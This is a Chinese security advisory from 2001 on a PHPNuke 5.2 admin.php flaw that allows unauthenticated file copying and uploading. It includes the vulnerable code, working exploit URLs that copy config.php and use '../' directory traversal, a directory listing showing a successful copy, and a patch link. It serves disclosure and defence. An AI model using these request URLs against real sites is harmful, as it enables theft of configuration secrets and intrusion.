首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第26期->最新漏洞
期刊号: 类型: 关键词:
PHPNuke 文件泄漏和上传漏洞

日期:2001-10-15

受影响的系统:  
PHPNuke 5.2 以及更低版本
描述:
--------------------------------------------------------------------------------


PHPNuke是一个流行的web论坛程序。它的某些版本中存在一个安全问题,可能导致远程
攻击者获取系统上的敏感信息或者上载程序。问题处在admin.php在处理文件拷贝和上传
时没有检查用户是否已经通过了管理员身份认证。

有问题的代码在:

$basedir = dirname($SCRIPT_FILENAME);
$textrows = 20;
$textcols = 85;
$udir = dirname($PHP_SELF);
if(!$wdir) $wdir="/";
if($cancel) $op="FileManager";
if($upload) {
    copy($userfile,$basedir.$wdir.$userfile_name);
    $lastaction = ""._UPLOADED." $userfile_name --> $wdir";
    // This need a rewrite -------------------------------------> OMG! WE
AGREEEEEEEE lmao
    //include("header.php");
    //GraphicAdmin($hlpfile);
    //html_header();
    //displaydir();
    $wdir2="/";
    chdir($basedir . $wdir2);
    //CloseTable();
    //include("footer.php");
    Header("Location: admin.php?op=FileManager");
    exit;
}

攻击者可以获取CGI有权读取得任意文件的内容,上传文件也是可能的。

<*来源:supergate (supergate@twlc.net)
  链接:http://archives.neohapsis.com/archives/bugtraq/2001-09/0203.html
*>



测试程序:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



supergate (supergate@twlc.net) 提供了如下测试方法:

http://www.server.net/admin.php?upload=1&file=config.php&file_name=hacked.txt&
wdir=/images/&userfile=config.php&userfile_name=hacked.txt
这将config.php文件拷贝到/images/hacked.txt,使用
http://www.server.net/images/hacked.txt 即可看到该文件内容。

Paul Starzetz (paul@starzetz.de)发现通过在目录中指定"../",甚至
可以拷贝任意目录下的文件到任意可写目录:
http://somehost/nukepath/admin.php?upload=1&file=config.php&file_name=hacked.txt
&wdir=/../../../../../../../tmp/&userfile=config.php&userfile_name=hacked.txt

http://somehost/nukepath/admin.php?upload=1&wdir=/../../../../../../../tmp&
userfile=/../../../../../../../tmp/copyme.txt&
userfile_name=/../../../../../../../tmp/hacked.txt

root@somehost:/tmp > ls -la
total 20
drwxrwxrwt 8 root root 2048 Sep 25 13:37 .
drwxr-xr-x 19 root root 2048 Feb 28 2001 ..
drwxrwxrwt 2 root root 2048 Mar 6 2001 .X11-unix
-rw-r--r-- 1 root root 851 Sep 25 13:37 copyme.txt
-rwxr-xr-x 1 wwwrun wwwrun 851 Sep 25 13:37 hacked.txt


--------------------------------------------------------------------------------
建议:

厂商补丁:

厂商已经提供了升级补丁,您可以在下列地址下载:
http://www.nukeaddon.com/download.php?op=getit&lid=27



版权所有,未经许可,不得转载